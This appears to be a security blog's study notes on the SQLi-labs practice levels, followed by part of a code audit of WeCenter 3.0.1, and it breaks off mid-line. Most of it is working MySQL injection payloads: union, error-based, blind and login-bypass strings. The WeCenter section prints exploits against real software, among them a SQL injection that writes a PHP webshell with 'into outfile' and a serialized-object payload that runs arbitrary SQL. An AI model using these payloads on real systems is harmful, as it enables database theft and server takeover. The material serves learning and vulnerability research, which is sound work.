Based- Double quotes- String I hit a snag determining the closing character: admin\u0026quot; initially errored out, but the universal password admin\u0026quot;or\u0026quot;\u0026quot;=\u0026quot; failed. Later I used comments to determine the closing character — admin\u0026quot;-- - and admin\u0026quot;)-- - closed successfully\n# Universal password admin\u0026#34;)or\u0026#34;\u0026#34;=(\u0026#34; # Comment bypass Since there\u0026#39;s a trailing LIMIT 1,1, the username=/*\u0026amp;password=*/ trick doesn\u0026#39;t really work for bypassing the password Just run sqlmap -r\nLess-11- Error Based- String Closing Adding a quote errors out. Confirmed closing with a single quote admin' -- -; error-based injection + UNION union injection\n# Universal password admin\u0026#39; or \u0026#39;\u0026#39;=\u0026#39; admin\u0026#39; and extractvalue(1,concat(\u0026#34;~\u0026#34;,(version()),\u0026#34;~\u0026#34;))-- - Less-10: Blind- Time based- Double Quotes- String id=1\u0026#34; and sleep(2)=\u0026#39;1\u0026#39; -- -\tdelay occurs Less-9: Blind- Time based- Single Quotes- String Whether adding quotes or comments, no error whatsoever.\nid=2\u0026#39; AND \u0026#39;1\u0026#39;=SLEEP(1)-- -\tdelay occurs id=2\u0026#39; AND \u0026#39;1\u0026#39;=SLEEP(5)-- -\tdelay occurs Less-8: Blind- Boolian- Single Quotes- String There is status output; the closing character is a single quote '\nJudge by whether You are in........... is echoed.\nConclusion: blind injection falls into two categories: boolean-based blind injection + time-based blind injection.\nBecause there is no true/false echo — no difference whatsoever visible in the response (response includes: response size / status code / page text)\nLess-7: Dump into Outfile No data or error output; as always, determine the closing first.\nid=1\u0026#39; -- -\terror id=1\u0026#39;) -- -\terror id=1\u0026#39;)) -- -\tnormal Boolean + time-based blind injection — let sqlmap do it all in one shot\nLess-6: Double Query- Double Quotes- String The closing character changes to a single quote; the rest is the same as Less 5\nid=1\u0026#34; and updatexml(\u0026#34;1\u0026#34;,concat(\u0026#34;~\u0026#34;,version(),\u0026#34;~\u0026#34;),\u0026#34;1\u0026#34;)-- - # Single row id=1\u0026#34; and updatexml(\u0026#34;1\u0026#34;,concat(\u0026#34;~\u0026#34;,(select group_concat(0x20,(select schema_name from information_schema.schemata limit 1,1))),\u0026#34;~\u0026#34;),\u0026#34;1\u0026#34;)-- - # Multiple rows id=1\u0026#34; and updatexml(\u0026#34;1\u0026#34;,concat(\u0026#34;~\u0026#34;,((select group_concat(column_name) from information_schema.columns where table_name=\u0026#39;emails\u0026#39;)),\u0026#34;~\u0026#34;),\u0026#34;1\u0026#34;)-- - Less-5: Double Query- Single Quotes- String An injection point with no data output\nClosing id=1\u0026#34;\tnormal id=1\u0026#39;\terror id=1\u0026#39;-- -\tnormal The closing character is a single quote '; a reasonable guess is that the backend statement is select id from test where id='$id';\nWith no output position, union injection is unusable — but UNION can be used to bring in floor-based error injection\nError-based injection id=1\u0026#39; AND EXTRACTVALUE(1,concat(\u0026#34;~\u0026#34;,(select group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;security\u0026#39;),\u0026#34;~\u0026#34;))-- - id=1\u0026#39; AND EXTRACTVALUE(1,concat(\u0026#34;~\u0026#34;,(select group_concat(column_name) from information_schema.columns where table_name=\u0026#39;emails\u0026#39;),\u0026#34;~\u0026#34;))-- - id=1\u0026#39; AND EXTRACTVALUE(1,concat(\u0026#34;~\u0026#34;,(select group_concat(schema_name) from information_schema.schemata),\u0026#34;~\u0026#34;))-- # floor id=1\u0026#39; UNION SELECT null,null,null from (SELECT COUNT(*),concat(floor(rand(0)*2),\u0026#34;~\u0026#34;,version())x from information_schema.tables group by x )x-- - id=1\u0026#39; UNION SELECT null,null,null from (SELECT COUNT(*),concat(floor(rand(0)*2),\u0026#34;~\u0026#34;,(select group_concat(0x20,table_name) from information_schema.tables ))x from information_schema.tables group by x )x-- - Less-4: Error Based- DoubleQuotes String Closing id=1\u0026#39;\tnormal id=1\u0026#34;\terror id=1\u0026#34; -- -\terror id=1\u0026#34;) -- - normal The closing character is \u0026quot;); a reasonable guess at the original statement structure is select id from test where id=(\u0026quot;$id\u0026quot;);\npayload # Union id=-2\u0026#34;) union select 1,2,group_concat(schema_name,0x20) from information_schema.schemata -- - # Error-based id=-1\u0026#34;)+AND+updatexml(1,concat(\u0026#34;~\u0026#34;,(select+version()),\u0026#39;~\u0026#39;),1)-- - less-3: Error Based- String (with Twist) Determine the closing character! id=1\u0026#39;\terror id=1\u0026#39; -- - error id=1\u0026#39;) -- - normal With the closing character confirmed as '), you can inject following the earlier steps\nUnion injection id=-2\u0026#39;) union select 1,2,group_concat(schema_name,0x20) from information_schema.schemata -- - id=-2\u0026#39;) union select 1,2,group_concat(table_name,0x20) from information_schema.tables where table_schema=\u0026#39;security\u0026#39; -- - id=-2\u0026#39;) union select 1,2,group_concat(column_name,0x20) from information_schema.columns where table_name=\u0026#39;users\u0026#39; -- - Error-based injection There is an output length limit\nIf you don\u0026rsquo;t stringify the result with concat, the output will fail to display\nid=-1\u0026#39;)+AND+updatexml(1,concat(\u0026#34;~\u0026#34;,(select+version()),\u0026#39;~\u0026#39;),1)-- - id=-1\u0026#39;)+AND+extractvalue(1,concat(\u0026#34;~\u0026#34;,(select+version()),\u0026#39;~\u0026#39;))-- - id=-1\u0026#39;) and extractvalue(1, (SELECT+group_concat((select table_name from information_schema.tables limit 4,1),0x20)+FROM+information_schema.columns))-- - id=-1\u0026#39;) union select 1,2,3 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )a-- - floor has no output limit\nThe attack Vector extracted from sqlmap:\n1,0x7365637572697479,0x73797 \u0026#39;||(SELECT 0x45576d74 WHERE 1206=1206 AND (SELECT 5316 FROM(SELECT COUNT(*),CONCAT(0x71707a7871,(SELECT MID((IFNULL(CAST(table_schema AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c,0x6d7973716c69,0x706572666f726d616e63655f736368656d61,0x7365637572697479,0x737973) LIMIT 39,1),0x7171627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||\u0026#39;3) LIMIT 39,1),0x7171627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||\u0026#39; payload\nid=-1\u0026#39;) union select 1,2,3 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )a-- - less-2: Error Based- Intiger Union injection Use order by to determine the column count: 3 columns, output at positions 2 and 3; use group_concat directly to try pulling out all the data\nid=0 UNION SELECT 1,2,group_concat( column_name,0x20) from information_schema.columns Error-based injection http://sqli.zuoxueba.org/Less-2/?id=1 and :(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) Integer-type injection; no single quote needed\nBlind injection # Test 1+and+case+when+(1=1)+then+sleep(1)+else+1+end # Extract data 1+and+case+when+(left((select+version()),1)=\u0026#39;5\u0026#39;)+then+sleep(1)+else+1+end - left(str,length) - substr(str,start,[length]) + start is the starting position, 1 by default + length is the length of the returned string and cannot be negative less-1: Error Based- String Union injection The reason id=1 yields no data is that the **mysql_fetch_array()** function on line 31 of the source fetches only one row,\nThe mysql_fetch_array() function fetches a row from the result set as an associative array\nIf you execute id=1 directly, there are two rows of results; the query we want to run is in row 2, so it never gets returned.\nThat\u0026rsquo;s why id must be set to a non-existent value (like -1), so that mysql returns only the query result we want.\nAlso, in 1,2,3-- #, the -- # comments out the trailing statement; there must be a space between -- and #, otherwise it errors. Corrected as follows\nNote: always add a space after the comment character, or a URL-encoded space (%20); otherwise the comment has no effect. The # can also be replaced with other characters\nError-based injection References:\nTen MySQL error-based injection techniques The usable payloads mainly fall into the following categories\nXPATH syntax errors Error messages have a length limit, visible in mysql/my_error.c:\n/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512) UpdateXml(1,(QUERY),1) UPDATEXML (XML_document, XPath_string, new_value);\nFirst parameter: XML_document is in String format, the name of the XML document object — Doc in this text\nSecond parameter: XPath_string (must be a string in XPath format); if you don\u0026rsquo;t know XPath syntax, find a tutorial online.\nThird parameter: new_value, String format, replaces the matching data found\nPurpose: changes the value of matching nodes in the document\n1 and pdatexml(1,(QUERY),1) 1 and 1=(updatexml(1,(QUERY),1)) //the parentheses around updatexml are optional id=1\u0026#39; and \u0026#39;1\u0026#39;=(updatexml(\u0026#39;2\u0026#39;,concat(\u0026#39;~\u0026#39;,(select @@basedir),\u0026#39;~\u0026#39;),\u0026#39;2\u0026#39;))-- 1 id=0\u0026#39; and updatexml(2,concat(\u0026#39;~\u0026#39;,(select version()),\u0026#39;~\u0026#39;),2)-- 1 ExtractValue(1,(QUERY)) [ExtractValue(xml_frag, xpath_expr)](https://yq.aliyun.com/go/articleRenderRedirect?spm=a2c4e.11153940.0.0.34f261feypnf9U\u0026amp;url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.7%2Fen%2Fxml-functions.html%23function_extractvalue)\n[ExtractValue()](https://yq.aliyun.com/go/articleRenderRedirect?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.7%2Fen%2Fxml-functions.html%23function_extractvalue) takes two string arguments, an XML fragment xml_frag and an XPath expression xpath_expr (also called a locator); if it contains a syntax error, SQL will display the error.\nid=1%27%20and%20extractvalue(1,%20concat(0x5c,%20(select%20table_name%20from%20information_schema.tables%20limit%201),%27~%27));--%20- Duplicate primary key floor _ Error via floor [no character length limit] requires at least three rows in the table _\nhttps://xz.aliyun.com/t/253#toc-2\nFirst, a commonly used payload:\n?id=0 union select 1,2,3 from( select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )a-- - It mainly comes from the duplicate primary key problem caused by using count(*), rand() , and group by together\nfloor(x): rounds down, returns a value not greater than x round(x,d): rounds and keeps the specified number of decimal places; x is the number to process, d is how many decimals to keep. rand(): produces a random float between 0 and 1; with a parameter x it returns a fixed value corresponding to x First, look at floor(rand(0)*2)): it is a fixed sequence beginning 0 1 1 0 1 1\nmysql\u0026gt; select floor(rand(0)*2) from test; +------------------+ | floor(rand(0)*2) | +------------------+ | 0 | | 1 | | 1 | | 0 | | 1 | | 1 | +------------------+ 6 rows in set (0.00 sec) group by key groups and aggregates the data, as shown in the figure below. It\u0026rsquo;s easy to see that duplicate key values are not allowed (the name column in the figure below); duplicates cause an error\nMeanwhile, group by works by reading each row of the data in a loop and storing the results in a virtual table. When this virtual table reads each row\u0026rsquo;s key, it follows this logic:\nIf the key is determined to already exist in the temp table, do not insert the data; If the key is determined not to be in the temp table, insert the current row\u0026rsquo;s data into the temp table As just noted, floor(rand(0)*2) is not a constant — it flips between the two values 0 1, which means that by the time group by executes the check and the insert, the standard has already changed! (this second you think I\u0026rsquo;m 0, the next second I\u0026rsquo;m 1 — didn\u0026rsquo;t see that coming, haha)\nAlso, why use `x` and `a` as placeholders in the `payload`? They\u0026#39;re actually table aliases (`alias`), equivalent to ` as x` (run results in the figure below). They\u0026#39;re required in subqueries, otherwise you get this error: `Every derived table must have its own alias ` ![](https://cdn.nlark.com/yuque/0/2020/png/166008/1586354642583-bf8fc31a-6698-46c5-9878-931674632223.png)![](https://cdn.nlark.com/yuque/0/2020/png/166008/1586354668898-70056c04-f192-4b86-b4eb-72c48ddb18e1.png) [A Few Notes on MySQL Error-Based Injection - Xianzhi community](https://xz.aliyun.com/t/253#toc-2) ### Big-number overflow ```sql geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring() ``` \u0026gt; One claim: on MySQL \u0026gt;5.5.53, it can no longer return query results \u0026gt; \u0026gt; Another claim: it works for injection on version 5.5.47, but not on 5.7.17: \u0026gt; \u0026gt; [https://xz.aliyun.com/t/253#toc-4](https://xz.aliyun.com/t/253#toc-4) \u0026gt; \u0026gt; Conclusion: unusable on newer MySQL versions \u0026gt; # Tips MyBatis injection ```xml \u0026lt;select id=\u0026#34;getByName\u0026#34; resultType=\u0026#34;com.example.demo.entity.User\u0026#34;\u0026gt; select * from user where name like \u0026#39;${\u0026#39;%\u0026#39; + name + \u0026#39;%\u0026#39;}\u0026#39; \u0026lt;/select\u0026gt; ``` The above is injectable, using + distinct removes duplicate entries ![](https://cdn.nlark.com/yuque/0/2020/png/166008/1586353989124-f5a8bb4e-374d-4d36-8677-89869f68a1f0.png) ```sql SELECT distinct concat(0x7e, (select password),0x7e) FROM users limit 1,1),0x7e),1)-- - ``` + `group_concat` merges multiple rows of results for display in one line; `group_concat` can be used without `group` by, but it must contain column names, not subqueries + In error-based injection, you must use `concat(\u0026#34;~\u0026#34;, [QUERY] , \u0026#34;~\u0026#34;)` to stringify its left and right sides, otherwise the output will be incomplete ![](https://cdn.nlark.com/yuque/0/2020/png/166008/1586502391261-1de189fb-efe1-442f-a013-477a60f3ffd4.png)![](https://cdn.nlark.com/yuque/0/2020/png/166008/1586502428533-fc953746-ff26-4b14-b545-37e70f914275.png) + In `-- -`, the space stays a space in the browser but becomes a plus sign `+` in Burp # Deployment Notes + [https://github.com/alecshan/sqli-labs-for-docker](https://github.com/alecshan/sqli-labs-for-docker) ","permalink":"https://www.unc.la/en/posts/penetration/gkguiw/","summary":"\u003cblockquote\u003e\n\u003cp\u003ebypass\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://xz.aliyun.com/t/7767\"\u003ehttps://xz.aliyun.com/t/7767\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eODBC: \u003ca href=\"https://forum.butian.net/share/113\"\u003ehttps://forum.butian.net/share/113\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.o2oxy.cn/2772.html\"\u003ehttps://www.o2oxy.cn/2772.html\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"common-payloads\"\u003eCommon Payloads\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1586599797233-1453d801-5d9a-479c-876c-12f33e0854ab.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1586403342343-7b65273a-1679-4d86-ae09-ff008cdeece7.png\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# Test!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eLIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# UNION BASED\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gu\"\u003e## List all databases\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eunion select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# List all tables in the test database (hex works everywhere too)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eunion select group_concat(TABLE_name) from information_schema.tables where table_schema=\u003cspan class=\"sb\"\u003e`test`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# List all columns in (database: test, table: admin)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eunion select group_concat(COLUMN_NAME) from information_schema.COLUMNS where\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eTABLE_SCHEMA=\u003cspan class=\"sb\"\u003e`test`\u003c/span\u003e and TABLE_NAME=\u003cspan class=\"sb\"\u003e`admin`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# valid queries\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eid=1\u0026#39; AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- +\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eid=1\u0026#39; AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema=\u0026#39;security\u0026#39;)-- #\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eid=1\u0026#39; AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name=\u0026#39;users\u0026#39;) -- +\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003e-\u003c/span\u003e Note: group_concat can be used without GROUP BY, but it must contain column names, not subqueries\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003e-\u003c/span\u003e The echoed output often has a length limit\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# ERROR BASED (error-based injection)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eupdatexml(\u0026#39;2\u0026#39;,concat(\u0026#39;~\u0026#39;,(select current_user()),\u0026#39;~\u0026#39;),\u0026#39;2\u0026#39;)-- -\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eextractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),\u0026#39;~\u0026#39;));-- -\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eselect from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- -\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003e-\u003c/span\u003e concat can be replaced with concat_ws, and group_concat can consolidate the results\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# BLIND SQL injection (boolean-blind, time-based)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eid = 1\u0026#34; and sleep(0)=\u0026#39;1\u0026#39; -- -\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eid=1\u0026#34; and if(1=1, sleep(3) , 1 ) -- -\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eid=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- #\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003e-\u003c/span\u003e For blind injection, it seems you can only determine the closing character by whether a delay occurs\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003e-\u003c/span\u003e The statement after CASE WHEN must be wrapped in parentheses, otherwise it won\u0026#39;t succeed\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e # Basic information\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect @\u003cspan class=\"ni\"\u003e@basedir\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect @\u003cspan class=\"ni\"\u003e@datadir\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect current_user()\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect version()\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect @\u003cspan class=\"ni\"\u003e@version\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect database()\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\tselect @\u003cspan class=\"ni\"\u003e@database\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# POC\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eextractvalue(0X20, concat(0x5c, (VERSION（)),\u0026#39;~\u0026#39;));-- -\t\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eFor error-based injection the syntax must be error-free; \u003cstrong\u003eclose whatever needs to be closed\u003c/strong\u003e, e.g. with a comment (\u003ccode\u003e-- -\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eConclusion: generally, wherever blind injection works, you can also use \u003ccode\u003eoutfile|dumpfile|load_file\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBlind injection falls into two categories: boolean-based blind injection + time-based blind injection.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince there is no true/false echo — no difference whatsoever visible in the response (response includes: response size / status code / page text) — delay functions are the only option. Generally \u003ccode\u003esleep\u003c/code\u003e and \u003ccode\u003ebenchmark\u003c/code\u003e can be used as delay functions, but the article below describes a new way to introduce a delay.\u003c/p\u003e","title":"SQLi-labs Study Notes"},{"content":"This was a Yuque card, click the link to view\nWeCenter Code Audit A code audit of the older WeCenter 3.0.1 release, plus pwning a certain~~wecenter~~machine along the way (learning the MVC architecture)\nOverview The global anti-injection function has no flaws. However, if the database encoding is gbk, you can pull off a wide-byte attack It uses mysql_real_escape_string; we need to call mysql_set_charset before executing SQL statements to set the current connection\u0026rsquo;s character set to gbk. Otherwise it still cannot defend against wide-character injection.\n# /system/aws_model.inc.php-\u0026gt;quote /** /system/aws_model.inc.php#997 */ \u0026lt;?php .... /** * Add quotes to prevent database attacks * * Externally submitted data must be sanitized with this method * * @param\tstring * @return\tstring */ public function ($string) { if (is_object($this-\u0026gt;db())) { $_quote = $this-\u0026gt;db()-\u0026gt;quote($string); if (substr($_quote, 0, 1) == \u0026#34;\u0026#39;\u0026#34;)// strip the leading and trailing quotes { $_quote = substr(substr($_quote, 1), 0, -1); } return $_quote; } if (function_exists(\u0026#39;mysql_escape_string\u0026#39;)) //This function was deprecated in PHP 4.3.0, deprecated { $string = @mysql_escape_string($string); } else { $string = addslashes($string); } return $string; } The three-letter prefix G_COOKIE_PREFIX in front of the cookie is actually a random salt auto-generated by the CMS; theoretically this value is bound to differ across different sites Framework scan 1: graudit Using this framework called [gaduit](https://github.com/wireghoul/graudit/) to statically scan the source code, excluding js and sql files\nroot@localhost:/opt/graudit# ./graudit -A -x *.js,*.sql ~/downloads/wecenter-3.0.1/ Following up on the vulnerability report analysis, the following issues were found\n0x01 /app/topic/ajax.php #70 topic_id parameter SQL injection public function question_list_action() { if ($_GET[\u0026#39;feature_id\u0026#39;]) { if ($topic_ids = $this-\u0026gt;model(\u0026#39;feature\u0026#39;)-\u0026gt;get_topics_by_feature_id($_GET[\u0026#39;feature_id\u0026#39;])) { $_GET[\u0026#39;topic_id\u0026#39;] = implode(\u0026#39;,\u0026#39;, $topic_ids); } } switch ($_GET[\u0026#39;type\u0026#39;]) { case \u0026#39;best\u0026#39;: $action_list = $this-\u0026gt;model(\u0026#39;topic\u0026#39;)-\u0026gt;get_topic_best_answer_action_list($_GET[\u0026#39;topic_id\u0026#39;], $this-\u0026gt;user_id, intval($_GET[\u0026#39;page\u0026#39;]) * get_setting(\u0026#39;contents_per_page\u0026#39;) . \u0026#39;, \u0026#39; . get_setting(\u0026#39;contents_per_page\u0026#39;)); break; The problem lies in $action_list = $this-\u0026gt;model('topic')-\u0026gt;get_topic_best_answer_action_list($_GET['topic_id'], $this-\u0026gt;user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page')); $_GET['topic_id'] is passed directly into the get_topic_best_answer_action_list function; follow up on get_topic_best_answer_action_list\nIt turns out $topic_id only gets exploded and merged back together — effectively doing nothing, let alone filtering the sql statement\nref:Vulnerability title: WeCenter SQL injection (ROOT SHELL)\n/?/topic/ajax/question_list/type-best\u0026amp;topic_id=1) union select \u0026#39;\u0026lt;?php phpinfo();?\u0026gt;\u0026#39; into outfile \u0026#39;C:/shell.php\u0026#39;# Framework scan 2: seay code audit system 0x02 /app/m/weixin.php #115 deserialization leading to SQL execution Referring to the description in Naiquan\u0026rsquo;s article, here is an analysis of the whole process\nSince the SQL statement execution happens inside the destructor __destruct(), and _shutdown_query is not modified by the static keyword. So it\u0026rsquo;s natural to think of using deserialization to reset the value of $this-\u0026gt;_shutdown_query.\nFirst, /app/m/weixin.php #115 contains a controllable deserialization point. ps: deserialization turns a string into an object. When an object is created, the constructor __construct is called automatically; when the object is destroyed (e.g. when the program finishes running), the destructor __destruct is called automatically\nSo let\u0026rsquo;s look for an exploitable destructor. In /system/aws_model.inc.php, the query function iterates over the _shutdown_query variable; follow up on the query function\nThe query function passes $sql into the database and executes it without any filtering\nBecause the _shutdown_query variable is not modified with the static modifier, the _shutdown_query variable can be controlled by us\nSo this directly leads to arbitrary sql code execution\nThe payload construction code is as follows\n\u0026lt;?php class AWS_MODEL{ private $_shutdown_query = array(); public function __construct(){ $this-\u0026gt;_shutdown_query[\u0026#39;test\u0026#39;] = \u0026#39;SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)\u0026#39;; } } echo base64_encode(serialize(new AWS_MODEL)); ?\u0026gt; For actual exploitation, see this payload from Wooyun, error-based injection\n/?/m/weixin/authorization/\u0026amp;state=OAUTH\u0026amp;access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D //response Database error ------ SQL: SELECT updatexml(1,concat(0xa,user()),1) Error Message: Mysqli prepare error: XPATH syntax error: \u0026#39; root@localhost\u0026#39; WeCenter Vulnerability Reproduction app=\u0026ldquo;WeCenter\u0026rdquo; \u0026amp;\u0026amp; 